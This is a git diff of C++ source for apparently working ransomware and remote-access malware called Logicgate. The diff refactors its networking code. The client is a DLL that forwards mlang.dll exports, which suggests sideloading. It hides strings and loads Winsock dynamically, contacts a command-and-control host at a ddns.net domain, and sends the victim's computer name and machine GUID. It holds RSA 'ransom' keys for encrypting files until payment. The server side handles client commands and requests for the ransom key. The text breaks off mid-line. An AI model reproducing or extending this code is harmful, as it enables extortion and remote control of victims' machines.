diff --git a/api/Client.h b/api/Client.h index 2855f07..4c905b4 100644 --- a/api/Client.h +++ b/api/Client.h @@ -3,6 +3,7 @@ #include "ProcessManager.h" #include "NetworkTypes.h" #include "External/obfuscate.h" +#include "NetworkManager.h" const unsigned int UDP_PORT = 0x154E; const std::string DNS_NAME = std::string(HIDE("logicgate-test.ddns.net")); @@ -31,6 +32,13 @@ class Client { void SetRequestSecrets(RSAKeys& keys) { this->m_RequestSecrets = keys; } void SetRansomSecrets(RSAKeys& keys) { this->m_RansomSecrets = keys; } +private: + std::string m_ComputerName = ""; // remote host computer name. e.g DESKTOP-AJDU31S + std::string m_MachineGUID = ""; // remote host windows machine guid. e.g 831js9fka29-ajs93j19sa82.... + RSAKeys m_RequestSecrets = {}; // RSA key pair used to encrypt and decrypt requests to and from server + RSAKeys m_RansomSecrets = {}; // RSA key pair used to encrypt and decrypt files. public key only stored on client until ransom is paid + SOCKET m_TCPSocket = INVALID_SOCKET; + #ifdef CLIENT_RELEASE // Client only methods public: Client(); @@ -39,9 +47,8 @@ class Client { BOOL Connect(); // Connect to the tcp server BOOL Disconnect(); // Disconnect from the tcp server BYTESTRING MakeTCPRequest(const ClientRequest& req, BOOL encrypted = FALSE); // send a message, receive the response - BOOL SendMessageToServer(const Server& dest, ClientMessage message); + bool SendMessageToServer(Server& dest, ClientMessage message); BOOL SendMessageToServer(std::string message, BOOL encrypted = TRUE); // Send a encrypted string to TCP server - BOOL SendEncryptedMessageToServer(const Server& dest, ClientMessage message); void ListenForServerCommands(); // listen for commands from the server and perform them BOOL PerformCommand(const Packet& command, ClientResponse& outResponse); // Perform a command from the tcp server const CMDDESC CreateCommandDescription(const Packet& command); @@ -54,13 +61,13 @@ class Client { BOOL IsServerAwaitingResponse(const Packet& commandPerformed); BOOL ExchangePublicKeys(); // send client public key, receive server public key Packet OnEncryptedPacket(BYTESTRING encrypted); // on receive, decrypt and deserialize encrypted packet - void RespondToKeepAlive(); ProcessManager m_ProcMgr = {}; // remote host process manager Server m_TCPServerDetails = {}; // details describing the tcp server Server m_UDPServerDetails = {}; // details about the UDP communication RSA* m_ServerPublicKey = {}; SOCKET m_UDPSocket = INVALID_SOCKET; + NetworkManager m_NetworkManager = {}; #elif defined(SERVER_RELEASE) // Server only client implementation public: @@ -82,11 +89,4 @@ class Client { BOOL KeepAliveProcess = FALSE; BOOL KeepAliveSuccess = FALSE; #endif - -private: - std::string m_ComputerName = ""; // remote host computer name. e.g DESKTOP-AJDU31S - std::string m_MachineGUID = ""; // remote host windows machine guid. e.g 831js9fka29-ajs93j19sa82.... - RSAKeys m_RequestSecrets = {}; // RSA key pair used to encrypt and decrypt requests to and from server - RSAKeys m_RansomSecrets = {}; // RSA key pair used to encrypt and decrypt files. public key only stored on client until ransom is paid - SOCKET m_TCPSocket = INVALID_SOCKET; }; diff --git a/api/Framework.h b/api/Framework.h index f92faf5..a77a293 100644 --- a/api/Framework.h +++ b/api/Framework.h @@ -3,9 +3,5 @@ //#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers // Header files -#include -#include -#include -#include -#include + diff --git a/api/NetworkCommon.h b/api/NetworkCommon.h deleted file mode 100644 index 5252853..0000000 --- a/api/NetworkCommon.h +++ /dev/null @@ -1,238 +0,0 @@ -#pragma once - -#include "Framework.h" -#include "NetworkTypes.h" -#include "Serialization.h" -#include "ProcessManager.h" -#include "LogicateCryptography.h" - -#include -#include -#include - - -// Dynamically loaded functions from the winsock library -inline ::_socket CreateSocket = nullptr; -inline ::_WSAStartup StartWSA = nullptr; -inline ::_WSACleanup CleanWSA = nullptr; -inline ::_closesocket CloseSocket = nullptr; -inline ::_bind BindSocket = nullptr; -inline ::_sendto SendTo = nullptr; -inline ::_send Send = nullptr; -inline ::_recv Receive = nullptr; -inline ::_recvfrom ReceiveFrom = nullptr; -inline ::_connect ConnectSocket = nullptr; -inline ::_listen SocketListen = nullptr; -inline ::_shutdown ShutdownSocket = nullptr; -inline ::_accept AcceptOnSocket = nullptr; -inline ::_htons HostToNetworkShort = nullptr; -inline ::_inet_addr InternetAddress = nullptr; -inline ::_gethostbyname GetHostByName = nullptr; -inline ::_htonl HostToNetworkLong = nullptr; -inline ::_ntohl NetworkToHostLong = nullptr; -inline ::_setsocketopt SetSocketOptions = nullptr; - -#ifdef CLIENT_RELEASE - #define CLIENT_DBG(string) OutputDebugStringA(string); -#else - #define CLIENT_DBG(string) -#endif - -//class NetworkManager { -//public: -// NetworkManager(); -// ~NetworkManager(); -// -// void SetSocketTimeout(SOCKET s, int timeoutMS, int type); -// void ResetSocketTimeout(SOCKET s, int type); -// -// template -// bool TransmitData( -// _Struct message, -// SOCKET s, -// SocketTypes type, -// sockaddr_in* addr = nullptr, -// bool encrypted = false, -// RSA* rsaKey = nullptr, -// bool privateKey = false -// ); -// -// template -// bool ReceiveData( -// _Struct& data, -// SOCKET s, -// SocketTypes type, -// sockaddr_in* addr = nullptr, -// bool encrypted = false, -// RSA* rsaKey = nullptr, -// bool privateKey = false -// ); -// -//private: -// static inline bool WSAInitialized = false; -//}; - -/* - Functions that will be used by both server and - client, usually relevant to sending and receiving - data over sockets. -*/ -namespace NetCommon -{ - inline BOOL WSAInitialized = FALSE; // Has the windows sockets api been initialized for this process - static sockaddr_in _default = {}; // default sockaddr_in parameter - - void LoadWSAFunctions(); // Dynamically load wsa functions - BOOL ResetSocketTimeout(SOCKET sfd, int type); - BOOL SetSocketTimeout(SOCKET sfd, int timeoutMS, int type); - - template - inline BOOL ReceiveData( - _Struct& data, - SOCKET s, - SocketTypes type, - sockaddr_in& receivedAddr = _default, - BOOL encrypted = FALSE, - RSA* rsaKey = {}, - BOOL privateKey = FALSE // is 'rsaKey' the public or private key - ) - { - if ( !WSAInitialized ) return FALSE; - - BYTESTRING responseBuffer; - int received = -1; // recv return value - uint32_t dataSize = 0; // size of the data to be received - - if constexpr ( std::is_same<_Struct, BYTESTRING>::value ) // use data as output buffer - responseBuffer = data; - - if ( type == SocketTypes::TCP ) { - received = Receive( - s, - reinterpret_cast< char* >( &dataSize ), - sizeof(dataSize), - 0 - ); - - dataSize = NetworkToHostLong(dataSize); - - if ( received <= 0 ) - return FALSE; - - responseBuffer.resize(dataSize); - received = Receive( - s, - reinterpret_cast< char* >( responseBuffer.data() ), - responseBuffer.size(), - 0 - ); - - if ( received <= 0 ) - return FALSE; - } - else if ( type == SocketTypes::UDP ) { - int addrSize = sizeof(receivedAddr); - - received = ReceiveFrom( - s, - reinterpret_cast< char* >( &dataSize ), - sizeof(dataSize), - 0, - reinterpret_cast< sockaddr* >( &receivedAddr ), - &addrSize - ); - - responseBuffer.resize(dataSize); - - received = ReceiveFrom( - s, - reinterpret_cast< char* >( responseBuffer.data() ), - responseBuffer.size(), - 0, - reinterpret_cast< sockaddr* >( &receivedAddr ), - &addrSize - ); - } - - // when this is true, you are responsible for decrypting after this function call if it is encrypted - if constexpr ( std::is_same::value ) - data = responseBuffer; - else { - if ( encrypted ) { - BYTESTRING cipher = LGCrypto::RSADecrypt(responseBuffer, rsaKey, privateKey); - responseBuffer = cipher; - } - data = Serialization::DeserializeToStruct<_Struct>(responseBuffer); - } - - return ( received != SOCKET_ERROR ); - } - - template - inline BOOL TransmitData( - _Struct message, - SOCKET s, - SocketTypes type, - sockaddr_in udpAddr = _default, - BOOL encryption = FALSE, - RSA* rsaKey = {}, - BOOL privateKey = FALSE - ) - { - if ( !WSAInitialized ) - return FALSE; - - BYTESTRING serialized = Serialization::SerializeStruct(message); - int sent = -1; - - // message is already serialized/a bytestirng - if constexpr ( std::is_same::value ) - serialized = message; - - if ( encryption ) { - BYTESTRING encrypted = LGCrypto::RSAEncrypt(serialized, rsaKey, privateKey); - serialized = encrypted; - } - - uint32_t size = HostToNetworkLong(serialized.size()); - - if ( type == SocketTypes::TCP ) { - // send data size - sent = Send( - s, - reinterpret_cast< char* >( &size ), - sizeof(size), - 0 - ); - - // send data - sent = Send( - s, - reinterpret_cast< char* >( serialized.data() ), - serialized.size(), - 0 - ); - } - else if ( type == SocketTypes::UDP ) { - sent = SendTo( - s, - reinterpret_cast< char* >( &size ), - sizeof(size), - 0, - reinterpret_cast< sockaddr* >( &udpAddr ), - sizeof(udpAddr) - ); - - sent = SendTo( - s, - reinterpret_cast< char* >( serialized.data() ), - serialized.size(), - 0, - reinterpret_cast< sockaddr* >( &udpAddr ), - sizeof(udpAddr) - ); - } - - return ( sent != SOCKET_ERROR ); - } -} \ No newline at end of file diff --git a/api/NetworkManager.h b/api/NetworkManager.h new file mode 100644 index 0000000..1d3a832 --- /dev/null +++ b/api/NetworkManager.h @@ -0,0 +1,145 @@ +#pragma once + +#include "NetworkTypes.h" +#include "Serialization.h" +#include "LogicateCryptography.h" + +#ifdef CLIENT_RELEASE +#define CLIENT_DBG(string) OutputDebugStringA(string); +#else +#define CLIENT_DBG(string) +#endif + +// Dynamically loaded functions from the winsock library +inline ::_socket CreateSocket = nullptr; +inline ::_WSAStartup StartWSA = nullptr; +inline ::_WSACleanup CleanWSA = nullptr; +inline ::_closesocket CloseSocket = nullptr; +inline ::_bind BindSocket = nullptr; +inline ::_sendto SendTo = nullptr; +inline ::_send Send = nullptr; +inline ::_recv Receive = nullptr; +inline ::_recvfrom ReceiveFrom = nullptr; +inline ::_connect ConnectSocket = nullptr; +inline ::_listen SocketListen = nullptr; +inline ::_shutdown ShutdownSocket = nullptr; +inline ::_accept AcceptOnSocket = nullptr; +inline ::_htons HostToNetworkShort = nullptr; +inline ::_inet_addr InternetAddress = nullptr; +inline ::_gethostbyname GetHostByName = nullptr; +inline ::_htonl HostToNetworkLong = nullptr; +inline ::_ntohl NetworkToHostLong = nullptr; +inline ::_setsocketopt SetSocketOptions = nullptr; + +// use when a sockaddr_in is not required for a function call +inline sockaddr_in NULL_ADDR = {}; + +class NetworkManager { +public: + NetworkManager(); + + void SetSocketTimeout(SOCKET s, int timeoutMS, int type); + void ResetSocketTimeout(SOCKET s, int type); + + template + bool TransmitData( + _Struct message, + SOCKET s, + SocketTypes type, + sockaddr_in& addr = NULL_ADDR, + bool encrypted = false, + RSA* rsaKey = nullptr, + bool privateKey = false + ) + { + + BYTESTRING serialized = Serialization::SerializeStruct(message); + int sent = SOCKET_ERROR; + + // message is already serialized/a bytestirng + if constexpr ( std::is_same::value ) + serialized = message; + + if ( encrypted ) { + BYTESTRING encrypted = LGCrypto::RSAEncrypt(serialized, rsaKey, privateKey); + serialized = encrypted; + } + + uint32_t size = HostToNetworkLong(serialized.size()); + + if ( type == SocketTypes::TCP ) { + // send data size + sent = Send(s, reinterpret_cast< char* >( &size ), sizeof(size), 0); + if ( sent == SOCKET_ERROR ) + return false; + + // send data + sent = Send(s, reinterpret_cast< char* >( serialized.data() ), serialized.size(), 0); + } + else if ( type == SocketTypes::UDP ) { + // send size of data + sent = SendTo(s, reinterpret_cast< char* >( &size ), sizeof(size), 0, reinterpret_cast< sockaddr* >( &addr ), sizeof(addr)); + if ( sent == SOCKET_ERROR ) + return false; + + // send data + sent = SendTo(s, reinterpret_cast< char* >( serialized.data() ), serialized.size(), 0, reinterpret_cast< sockaddr* >( &addr ), sizeof(addr)); + } + + return ( sent != SOCKET_ERROR ); + } + + template + bool ReceiveData( + _Struct& data, + SOCKET s, + SocketTypes type, + sockaddr_in& addr = NULL_ADDR + ) + { + if ( !this->m_WSAInitialized ) + return false; + + BYTESTRING responseBuffer; + int received = SOCKET_ERROR; // recv return value + uint32_t dataSize = 0; // size of the data to be received + + if constexpr ( std::is_same<_Struct, BYTESTRING>::value ) // use data as output buffer + responseBuffer = data; + + if ( type == SocketTypes::TCP ) { + // receive size of incoming data first + received = Receive(s, reinterpret_cast< char* >( &dataSize ), sizeof(dataSize), 0); + if ( received <= 0 ) return false; + + dataSize = NetworkToHostLong(dataSize); + responseBuffer.resize(dataSize); + + // receive data + received = Receive(s, reinterpret_cast< char* >( responseBuffer.data() ), responseBuffer.size(), 0); + } + else if ( type == SocketTypes::UDP ) { + + int addrSize = sizeof(addr); + + // receive size of incoming data first + received = ReceiveFrom(s, reinterpret_cast< char* >( &dataSize ), sizeof(dataSize), + 0, reinterpret_cast< sockaddr* >( &addr ), &addrSize); + + dataSize = NetworkToHostLong(dataSize); + responseBuffer.resize(dataSize); + + // receive data + received = ReceiveFrom(s, reinterpret_cast< char* >( responseBuffer.data() ), responseBuffer.size(), + 0, reinterpret_cast< sockaddr* >( &addr ), &addrSize); + } + + data = Serialization::DeserializeToStruct<_Struct>(responseBuffer); + + return ( received > 0 ); + } + +private: + static inline bool m_WSAInitialized = false; +}; + diff --git a/api/NetworkTypes.h b/api/NetworkTypes.h index 62f1fbc..e607172 100644 --- a/api/NetworkTypes.h +++ b/api/NetworkTypes.h @@ -1,10 +1,10 @@ #pragma once -#include -#include - #include "Win32Natives.h" -#include "ProcessManager.h" +#include "openssl/rsa.h" + +#include +#include typedef std::vector BYTESTRING; @@ -73,8 +73,8 @@ struct Server { a client to a server. */ struct ClientResponse { - ClientResponseCode responseCode = kResponseError; - RemoteAction actionPerformed; // ( if any, otherwise put NONE ) + ClientResponseCode responseCode = kResponseError; + RemoteAction actionPerformed = kNone; }; /* diff --git a/api/ProcessManager.h b/api/ProcessManager.h index 96facdb..42256bf 100644 --- a/api/ProcessManager.h +++ b/api/ProcessManager.h @@ -1,10 +1,10 @@ #pragma once #include "Win32Natives.h" -#include "Syscalls.h" -#include "External/obfuscate.h" #include +#include +#include extern "C" void* GetPebAddress(); // Get the address of the current processes PEB. @@ -12,7 +12,7 @@ extern "C" void* GetPebAddress(); // Get the address of the current processes PE inline HMODULE Kernel32DLL = nullptr; inline HMODULE NTDLL = nullptr; inline HMODULE AdvApi32DLL = nullptr; -inline BOOL DllsLoaded = FALSE; +inline bool DllsLoaded = false; template struct FunctionPointer { @@ -89,7 +89,7 @@ class ProcessManager { std::unordered_map m_LoadedDLLs; BOOL m_NativesLoaded = FALSE; SecurityContext m_Context = SecurityContext::Admin; - HANDLE m_ElevatedToken = NULL; + HANDLE m_ElevatedToken = NULL; template void LoadNative(char* name, HMODULE from); diff --git a/api/Serialization.h b/api/Serialization.h index 9acb86c..f12f062 100644 --- a/api/Serialization.h +++ b/api/Serialization.h @@ -1,6 +1,5 @@ #pragma once -#include "Framework.h" #include "NetworkTypes.h" typedef std::vector BYTESTRING; diff --git a/api/ServerInterface.h b/api/ServerInterface.h index 9d628d0..f613853 100644 --- a/api/ServerInterface.h +++ b/api/ServerInterface.h @@ -26,9 +26,9 @@ class ServerInterface ClientResponse PingClient(long cuid); Client* GetClientPtr(long cuid); void SendKeepAlivePackets(long cuid); - inline Server GetTCPServer() const { return this->m_TCPServerDetails; } - inline Server GetUDPServer() const { return this->m_UDPServerDetails; } - const inline auto ReadConfig() const { return this->m_Config; }; + inline Server GetTCPServer() const { return this->m_TCPServerDetails; } + inline Server GetUDPServer() const { return this->m_UDPServerDetails; } + const inline auto ReadConfig() const { return this->m_Config; }; protected: /* @@ -43,7 +43,7 @@ class ServerInterface void RunUserInputOnClients(); BOOL HandleUserInput(unsigned int command, Packet& outputCommand); void OnTCPConnection(SOCKET connection, sockaddr_in incoming); - BOOL PerformRequest(ClientRequest req, Server on, long cuid = -1, sockaddr_in incoming = NetCommon::_default); + BOOL PerformRequest(ClientRequest req, Server on, long cuid = -1, sockaddr_in incoming = NULL_ADDR); BOOL ExchangePublicKeys(long cuid); BOOL IsServerCommand(long command); BOOL AddToClientList(Client client); @@ -65,6 +65,7 @@ class ServerInterface Server m_TCPServerDetails; Server m_UDPServerDetails; RSAKeys m_SessionKeys; // RSA keys for the duration of the server session. public key is shared with clients + NetworkManager m_NetworkManager; struct { std::string serverStatePath = "."; diff --git a/api/Syscalls.h b/api/Syscalls.h index 6758c29..795bde4 100644 --- a/api/Syscalls.h +++ b/api/Syscalls.h @@ -1,5 +1,4 @@ #pragma once -#include "Framework.h" extern "C" NTSTATUS SysNtOpenProcess( PHANDLE ProcessHandle, @@ -36,7 +35,7 @@ extern "C" NTSTATUS SysNtDuplicateToken( PHANDLE NewTokenHandle ); -extern "C" NTSTATUS SysNtOpenProcessTokenEx( +extern "C" NTSTATUS SysNtOpenProcessTokenEx( HANDLE processHandle, ACCESS_MASK desiredAccess, ULONG handleAttributes, diff --git a/api/Win32Natives.h b/api/Win32Natives.h index 8ffad31..9ba6fef 100644 --- a/api/Win32Natives.h +++ b/api/Win32Natives.h @@ -1,6 +1,7 @@ #pragma once -#include "Framework.h" +#include +#include #define RTL_MAX_DRIVE_LETTERS 32 #define GDI_HANDLE_BUFFER_SIZE32 34 @@ -741,6 +742,8 @@ typedef struct _LDR_DATA_TABLE_ENTRY LDR_HOT_PATCH_STATE HotPatchState; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + + // Function pointer types namespace { diff --git a/src/Client.cpp b/src/Client.cpp index 19a8ac6..4b1d6da 100644 --- a/src/Client.cpp +++ b/src/Client.cpp @@ -1,13 +1,11 @@ #include "Client.h" -#include "NetworkCommon.h" +#include "NetworkManager.h" +#include "Syscalls.h" #ifdef CLIENT_RELEASE Client::Client() { - NetCommon::LoadWSAFunctions(); - // setup udp addr - hostent* host = GetHostByName(DNS_NAME.c_str()); if ( host == NULL ) return; @@ -61,10 +59,12 @@ BOOL Client::Connect() { Server TCPServer; sockaddr_in serverAddr; - BOOL received = NetCommon::ReceiveData(TCPServer, this->m_UDPSocket, UDP, serverAddr); + bool received = m_NetworkManager.ReceiveData(TCPServer, this->m_UDPSocket, UDP, serverAddr); if ( !received ) return FALSE; + CLIENT_DBG("good"); + this->m_UDPServerDetails.addr = serverAddr; this->m_TCPServerDetails = TCPServer; @@ -76,18 +76,15 @@ BOOL Client::Connect() { int connect = ConnectSocket(this->m_TCPSocket, ( sockaddr* ) &this->m_TCPServerDetails.addr, sizeof(this->m_TCPServerDetails.addr)); if ( connect == SOCKET_ERROR ) return FALSE; - + + CLIENT_DBG("connect"); + RSAKeys keys = LGCrypto::GenerateRSAPair(4096); this->SetRequestSecrets(keys); - if ( !ExchangePublicKeys() ) - return FALSE; - - if ( !SendComputerNameToServer() ) - return FALSE; - - if ( !SendMachineGUIDToServer() ) - return FALSE; + ExchangePublicKeys(); + SendComputerNameToServer(); + SendMachineGUIDToServer(); return TRUE; } @@ -133,21 +130,25 @@ void Client::SetRemoteMachineGUID() { BYTESTRING Client::MakeTCPRequest(const ClientRequest& req, BOOL encrypted) { - //BOOL sent = encrypted ? SendEncryptedMessageToServer(this->m_TCPServerDetails, req) : SendMessageToServer(this->m_TCPServerDetails, req); BOOL sent = FALSE; if ( encrypted ) - sent = NetCommon::TransmitData(req, this->m_TCPSocket, TCP, NetCommon::_default, TRUE, this->m_ServerPublicKey, FALSE); + sent = m_NetworkManager.TransmitData(req, this->m_TCPSocket, TCP, NULL_ADDR, true, this->m_ServerPublicKey, false); else - sent = NetCommon::TransmitData(req, this->m_TCPSocket, TCP); + sent = m_NetworkManager.TransmitData(req, this->m_TCPSocket, TCP); if ( !sent ) return {}; - BYTESTRING serverResponse; - BOOL received = NetCommon::ReceiveData(serverResponse, this->m_TCPSocket, TCP, NetCommon::_default, encrypted, this->m_RequestSecrets.priv, TRUE); + BYTESTRING data; + BOOL received = m_NetworkManager.ReceiveData(data, this->m_TCPSocket, TCP); if ( !received ) return {}; - return serverResponse; + if ( encrypted ) { + BYTESTRING decrypted = LGCrypto::RSADecrypt(data, this->m_RequestSecrets.priv, TRUE); + return decrypted; + } + + return data; } BOOL Client::SendComputerNameToServer() { @@ -244,18 +245,22 @@ void Client::ListenForServerCommands() { while ( TRUE ) { BYTESTRING encrypted; - received = NetCommon::ReceiveData( + received = m_NetworkManager.ReceiveData( encrypted, this->m_TCPSocket, TCP ); + CLIENT_DBG("got packet!"); + Packet receivedPacket = OnEncryptedPacket(encrypted); ClientResponse responseToServer; if ( receivedPacket.action == kKeepAlive ) { // echo keep alive - NetCommon::TransmitData(receivedPacket, this->m_TCPSocket, TCP, NetCommon::_default, TRUE, this->m_ServerPublicKey, FALSE); + CLIENT_DBG("echo keep alive!"); + Sleep(100); + m_NetworkManager.TransmitData(receivedPacket, this->m_TCPSocket, TCP, NULL_ADDR, true, this->m_ServerPublicKey, false); continue; } @@ -267,7 +272,7 @@ void Client::ListenForServerCommands() { continue; // respond to server with 'responseToServer' - NetCommon::TransmitData(responseToServer, this->m_TCPSocket, TCP, NetCommon::_default, TRUE, this->m_ServerPublicKey, FALSE); + m_NetworkManager.TransmitData(responseToServer, this->m_TCPSocket, TCP, NULL_ADDR, true, this->m_ServerPublicKey, false); } } @@ -305,30 +310,22 @@ BOOL Client::SendMessageToServer(std::string message, BOOL encrypted) { BOOL success = FALSE; if ( encrypted ) { - success = NetCommon::TransmitData(serialized, this->m_TCPSocket, TCP, NetCommon::_default, TRUE, this->m_ServerPublicKey, FALSE); + success = m_NetworkManager.TransmitData(serialized, this->m_TCPSocket, TCP, NULL_ADDR, true, this->m_ServerPublicKey, false); } else - success = NetCommon::TransmitData(serialized, this->m_TCPSocket, TCP); + success = m_NetworkManager.TransmitData(serialized, this->m_TCPSocket, TCP); return success; } -BOOL Client::SendMessageToServer(const Server& dest, ClientMessage message) { - if ( dest.type == SOCK_STREAM ) // tcp - return NetCommon::TransmitData(message, this->m_TCPSocket, TCP); - else if ( dest.type == SOCK_DGRAM ) // udp - return NetCommon::TransmitData(message, this->m_UDPSocket, UDP, dest.addr); - - return FALSE; -} +bool Client::SendMessageToServer(Server& dest, ClientMessage message) { + bool success = false; -BOOL Client::SendEncryptedMessageToServer(const Server& dest, ClientMessage message) { - BOOL success = FALSE; if ( dest.type == SOCK_STREAM ) // tcp - success = NetCommon::TransmitData(message, this->m_TCPSocket, TCP, NetCommon::_default, TRUE, this->m_ServerPublicKey, FALSE); - //else if ( dest.type == SOCK_DGRAM ) // udp - //success = NetCommon::TransmitData(message, this->m_UDPSocket, UDP, dest.addr, TRUE, pk, FALSE); + return m_NetworkManager.TransmitData(message, this->m_TCPSocket, TCP); + else if ( dest.type == SOCK_DGRAM ) + return m_NetworkManager.TransmitData(message, this->m_UDPSocket, UDP, dest.addr); - return success; + return false; } BOOL Client::Disconnect() { @@ -348,6 +345,8 @@ BOOL Client::Disconnect() { #elif defined(SERVER_RELEASE) +#include + Client::Client(SOCKET tcp, sockaddr_in addr) : AddressInfo(addr), m_TCPSocket(tcp) { @@ -358,7 +357,6 @@ Client::Client(SOCKET tcp, sockaddr_in addr) } void Client::Disconnect() { - std::cout << "Disconnecting client." << std::endl; this->Alive = FALSE; CloseSocket(this->m_TCPSocket); diff --git a/src/ClientMain.cpp b/src/ClientMain.cpp index 7e49dcd..3281967 100644 --- a/src/ClientMain.cpp +++ b/src/ClientMain.cpp @@ -1,8 +1,7 @@ // dllmain.cpp : Defines the entry point for the DLL application. #include "ProcessManager.h" #include "Client.h" -#include "NetworkCommon.h" - +#include #pragma comment(linker, "/export:IsConvertINetStringAvailable=C:\\Windows\\System32\\mlang.IsConvertINetStringAvailable,@110") #pragma comment(linker, "/export:ConvertINetString=C:\\Windows\\System32\\mlang.ConvertINetString,@111") @@ -38,12 +37,12 @@ BOOL APIENTRY DllMain(HMODULE hModule, std::unique_ptr me = std::make_unique(); BOOL connected = FALSE; - do { + //do { // try to connect to c2 server - connected = me->Connect(); - connectionAttempts++; - Sleep(300000); // second interval before connecting again - } while ( connected == FALSE && connectionAttempts < MAX_CON_ATTEMPTS ); + connected = me->Connect(); + //connectionAttempts++; + //Sleep(300000); // second interval before connecting again + //} while ( connected == FALSE && connectionAttempts < MAX_CON_ATTEMPTS ); // failed. if ( connected == FALSE && connectionAttempts >= MAX_CON_ATTEMPTS ) diff --git a/src/LogicgateCryptography.cpp b/src/LogicgateCryptography.cpp index 6312dbf..754cb29 100644 --- a/src/LogicgateCryptography.cpp +++ b/src/LogicgateCryptography.cpp @@ -1,11 +1,7 @@ -#include -#include - #include "LogicateCryptography.h" -#include "NetworkCommon.h" #include -#include +#include /** * Convert an OpenSSL RSA* type to an std::string in PEM format. diff --git a/src/NetworkCommon.cpp b/src/NetworkCommon.cpp index fe6ac5d..f73225f 100644 --- a/src/NetworkCommon.cpp +++ b/src/NetworkCommon.cpp @@ -1,5 +1,6 @@ -#include "NetworkCommon.h" +#include "NetworkManager.h" #include "ProcessManager.h" +#include "External/obfuscate.h" #include @@ -7,22 +8,23 @@ #pragma comment (lib, "ws2_32.lib") #endif -void NetCommon::LoadWSAFunctions() { - if ( WSAInitialized ) +NetworkManager::NetworkManager() { + if ( this->m_WSAInitialized ) return; - if ( !DllsLoaded ) { #ifdef SERVER_RELEASE - Kernel32DLL = LoadLibraryA("kernel32.dll"); - NTDLL = LoadLibraryA("ntdll.dll"); - AdvApi32DLL = LoadLibraryA("advapi32.dll"); - DllsLoaded = TRUE; -#endif + if ( !DllsLoaded ) { + Kernel32DLL = LoadLibraryA("kernel32.dll"); + NTDLL = LoadLibraryA("ntdll.dll"); + AdvApi32DLL = LoadLibraryA("advapi32.dll"); + DllsLoaded = true; } +#endif // load winsock and kernel32 libraries + CLIENT_DBG("network manager"); - HMODULE WINSOCK = ProcessManager::GetFunctionAddress<_LoadLibrary>(Kernel32DLL, std::string(HIDE("LoadLibraryA")))( (char*)HIDE("Ws2_32.dll") ); + HMODULE WINSOCK = ProcessManager::GetFunctionAddress<_LoadLibrary>(Kernel32DLL, std::string(HIDE("LoadLibraryA")))( ( char* ) HIDE("Ws2_32.dll") ); //// function pointers from winsock StartWSA = ProcessManager::GetFunctionAddress<_WSAStartup>(WINSOCK, std::string(HIDE("WSAStartup"))); @@ -45,22 +47,20 @@ void NetCommon::LoadWSAFunctions() { NetworkToHostLong = ProcessManager::GetFunctionAddress<_ntohl>(WINSOCK, std::string(HIDE("ntohl"))); SetSocketOptions = ProcessManager::GetFunctionAddress<_setsocketopt>(WINSOCK, std::string(HIDE("setsockopt"))); + CLIENT_DBG("network manager 2"); + WORD version = MAKEWORD(2, 2); WSAData data = { 0 }; if ( StartWSA(version, &data) == 0 ) { - WSAInitialized = TRUE; + this->m_WSAInitialized = true; } } -BOOL NetCommon::ResetSocketTimeout(SOCKET sfd, int type) { - return SetSocketTimeout(sfd, 0, type); +void NetworkManager::SetSocketTimeout(SOCKET s, int timeoutMS, int type) { + SetSocketOptions(s, SOL_SOCKET, type, ( char* ) &timeoutMS, sizeof(timeoutMS)); } -BOOL NetCommon::SetSocketTimeout(SOCKET sfd, int timeoutMS, int type) { - int result = SetSocketOptions(sfd, SOL_SOCKET, type, ( char* ) &timeoutMS, sizeof(timeoutMS)); - if ( result == SOCKET_ERROR ) - return FALSE; - - return TRUE; +void NetworkManager::ResetSocketTimeout(SOCKET s, int type) { + SetSocketTimeout(s, 0, type); } \ No newline at end of file diff --git a/src/ProcessManager.cpp b/src/ProcessManager.cpp index 18f8a7c..cea9d86 100644 --- a/src/ProcessManager.cpp +++ b/src/ProcessManager.cpp @@ -1,4 +1,6 @@ #include "ProcessManager.h" +#include "Syscalls.h" +#include "External/obfuscate.h" std::string _lower(std::string inp) { std::string out = ""; @@ -14,7 +16,10 @@ BOOL _sub(std::string libPath, std::string s2) { } std::string PWSTRToString(PWSTR inp) { - return std::string(_bstr_t(inp)); + std::wstring wstr(inp); + std::string str(wstr.begin(), wstr.end()); + + return str; } FARPROC ProcessManager::GetFunctionAddressInternal(HMODULE lib, std::string procedure) { @@ -182,7 +187,10 @@ DWORD ProcessManager::PIDFromName(const char* name) { // compare the proc name to the name of the process we need // if they're the same, return the process id and return do { - if ( strcmp(name, _bstr_t(processEntry.szExeFile)) == 0 ) { + std::wstring exeFile(processEntry.szExeFile); + std::string strExeFile(exeFile.begin(), exeFile.end()); + + if ( strcmp(name, strExeFile.data()) == 0 ) { processID = processEntry.th32ProcessID; break; } diff --git a/src/ServerInterface.cpp b/src/ServerInterface.cpp index 58d223f..7b5ca2f 100644 --- a/src/ServerInterface.cpp +++ b/src/ServerInterface.cpp @@ -1,12 +1,9 @@ #include "ServerInterface.h" #include "Serialization.h" -#include "NetworkCommon.h" +#include "NetworkManager.h" #include "External/base64.h" -#include -#include -#include - +#include #include #include @@ -153,7 +150,7 @@ void ServerInterface::ListenForUDPMessages() { while ( this->m_UDPServerDetails.alive == TRUE ) { ClientRequest req = {}; sockaddr_in incomingAddr; - BOOL received = NetCommon::ReceiveData(req, this->m_UDPServerDetails.sfd, UDP, incomingAddr); + BOOL received = m_NetworkManager.ReceiveData(req, this->m_UDPServerDetails.sfd, UDP, incomingAddr); if ( !received ) continue; std::cout << "Received a message on the UDP socket!\n"; @@ -330,7 +327,7 @@ BOOL ServerInterface::PerformRequest(ClientRequest req, Server on, long cuid, so std::cout << "[kConnectClient] : Good address. \n"; std::cout << "[kConnectClient] : Sending TCP server details. \n"; - success = NetCommon::TransmitData(temp, this->m_UDPServerDetails.sfd, UDP, incoming); + success = m_NetworkManager.TransmitData(temp, this->m_UDPServerDetails.sfd, UDP, incoming); if ( success ) std::cout << "[kConnectClient] : Sent TCP details. \n"; @@ -360,7 +357,7 @@ BOOL ServerInterface::PerformRequest(ClientRequest req, Server on, long cuid, so //reply.privateEncryptionKey = Serialization::SerializeString(TCPClient->GetRansomSecrets().strPrivateKey); std::cout << "received request for private ransom encryption key\n"; - success = NetCommon::TransmitData(reply, TCPClient->GetSocket(), TCP, NetCommon::_default, TRUE, TCPClient->ClientPublicKey, FALSE); + success = m_NetworkManager.TransmitData(reply, TCPClient->GetSocket(), TCP, NULL_ADDR, true, TCPClient->ClientPublicKey, false); std::cout << "sent\n"; break; @@ -415,9 +412,9 @@ void ServerInterface::SendKeepAlivePackets(long cuid) { BYTESTRING encryptedOriginal = 